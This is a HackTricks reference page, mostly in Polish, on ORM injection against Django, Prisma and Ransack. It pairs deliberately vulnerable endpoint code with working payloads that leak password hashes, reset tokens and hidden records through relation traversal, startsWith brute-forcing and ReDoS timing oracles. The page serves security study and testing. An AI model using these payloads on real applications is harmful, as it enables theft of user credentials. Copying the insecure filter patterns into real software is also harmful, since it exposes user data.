ORM Injection

Support HackTricks

Django ORM (Python)

W tym poście wyjaśniono, jak można uczynić Django ORM podatnym, używając na przykład kodu takiego jak:

class ArticleView(APIView):
"""
Podstawowy widok API, do którego użytkownicy wysyłają żądania w celu
wyszukiwania artykułów
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Zauważ, jak wszystkie request.data (które będą w formacie json) są bezpośrednio przekazywane do filtrów obiektów z bazy danych. Atakujący mógłby wysłać nieoczekiwane filtry, aby wyciekło więcej danych, niż się spodziewano.

Przykłady:

  • Logowanie: W prostym logowaniu spróbuj wyciekować hasła użytkowników zarejestrowanych w systemie.

{
"username": "admin",
"password_startswith":"a"
}

Możliwe jest przeprowadzenie ataku brute-force na hasło, aż zostanie ujawnione.

  • Filtracja relacyjna: Możliwe jest przeszukiwanie relacji w celu ujawnienia informacji z kolumn, które nie były nawet oczekiwane w operacji. Na przykład, jeśli możliwe jest ujawnienie artykułów stworzonych przez użytkownika z tymi relacjami: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).

{
"created_by__user__password__contains":"pass"
}

Możliwe jest znalezienie hasła wszystkich użytkowników, którzy stworzyli artykuł

  • Filtrowanie relacji wiele-do-wielu: W poprzednim przykładzie nie mogliśmy znaleźć haseł użytkowników, którzy nie stworzyli artykułu. Jednakże, podążając za innymi relacjami, jest to możliwe. Na przykład: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).

{
"created_by__departments__employees__user_startswith":"admi"
}

W tym przypadku możemy znaleźć wszystkich użytkowników w działach użytkowników, którzy stworzyli artykuły, a następnie wyciekować ich hasła (w poprzednim jsonie wyciekamy tylko nazwy użytkowników, ale później możliwe jest wycieknięcie haseł).

  • Wykorzystywanie relacji wiele-do-wielu między grupami a uprawnieniami w Django: Co więcej, model AbstractUser jest używany do generowania użytkowników w Django i domyślnie model ten ma pewne relacje wiele-do-wielu z tabelami Permission i Group. Co zasadniczo jest domyślnym sposobem dostępu do innych użytkowników z jednego użytkownika, jeśli są w tej samej grupie lub dzielą te same uprawnienia.

# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Obejście ograniczeń filtrów: Ten sam post na blogu zaproponował obejście użycia niektórych filtrów, takich jak articles = Article.objects.filter(is_secret=False, **request.data). Możliwe jest zrzucenie artykułów, które mają is_secret=True, ponieważ możemy wrócić z relacji do tabeli Article i wyciekować sekretnych artykułów z niesekretnych artykułów, ponieważ wyniki są łączone, a pole is_secret jest sprawdzane w niesekretnym artykule, podczas gdy dane są wyciekane z sekretnym artykułem.

Article.objects.filter(is_secret=False, categories__articles__id=2)

Wykorzystując relacje, możliwe jest ominięcie nawet filtrów mających na celu ochronę wyświetlanych danych.

  • Błąd/Czas oparty na ReDoS: W poprzednich przykładach oczekiwano różnych odpowiedzi, jeśli filtracja działała lub nie, aby użyć tego jako oracle. Ale może się zdarzyć, że jakaś akcja jest wykonywana w bazie danych i odpowiedź jest zawsze taka sama. W tym scenariuszu możliwe byłoby wywołanie błędu w bazie danych, aby uzyskać nowy oracle.

// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

From te same post regarding this vector:

  • SQLite: Domyślnie nie ma operatora regexp (wymaga załadowania rozszerzenia firm trzecich)

  • PostgreSQL: Nie ma domyślnego limitu czasu regex i jest mniej podatny na backtracking

  • MariaDB: Nie ma limitu czasu regex

Prisma ORM (NodeJS)

The following are tricks extracted from this post.

  • Full find control:

const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

It's possible to see that the whole javascript body is passed to prisma to perform queries.

In the example from the original post, this would check all the posts createdBy someone (each post is created by someone) returning also the user info of that someone (username, password...)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]
Następujące zapytanie wybiera wszystkie posty utworzone przez kogoś z hasłem i zwróci hasło:
{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Pełna kontrola nad klauzulą where:

Przyjrzyjmy się temu, gdzie atak może kontrolować klauzulę where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Wrażliwe na wycieki ORM
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Możliwe jest bezpośrednie filtrowanie haseł użytkowników, jak:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas"
}
}
}
})

Używając operacji takich jak startsWith, możliwe jest wycieknięcie informacji.

  • Obchodzenie filtrowania w relacjach wiele-do-wielu:

app.post('/articles', async (req, res) => {
try {
const query = req.body.query;
query.published = true;
const posts = await prisma.article.findMany({ where: query })
res.json(posts);
} catch (error) {
res.json([]);
}
});

Możliwe jest wycieknięcie nieopublikowanych artykułów poprzez powracanie do relacji wiele-do-wielu między Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

Możliwe jest również wycieknięcie wszystkich użytkowników, nadużywając niektórych relacji wiele-do-wielu z pętlą:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Błędy/Zapytania czasowe: W oryginalnym poście można przeczytać bardzo obszerny zestaw testów przeprowadzonych w celu znalezienia optymalnego ładunku do wycieku informacji za pomocą ładunku opartego na czasie. To jest:

{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Gdzie {CONTAINS_LIST} to lista z 1000 ciągami, aby upewnić się, że odpowiedź jest opóźniona, gdy zostanie znaleziony poprawny leak.

Ransack (Ruby)

Te sztuczki zostały znalezione w tym poście.

Zauważ, że Ransack 4.0.0.0 teraz wymusza użycie jawnej listy dozwolonych atrybutów i powiązań do przeszukiwania.

Przykład podatny:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Zauważ, jak zapytanie będzie definiowane przez parametry wysyłane przez atakującego. Możliwe było na przykład przeprowadzenie brute-force na tokenie resetującym za pomocą:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

By brute-forcing i potencjalnie relacjami możliwe było wycieknięcie większej ilości danych z bazy danych.

References

Support HackTricks

Last updated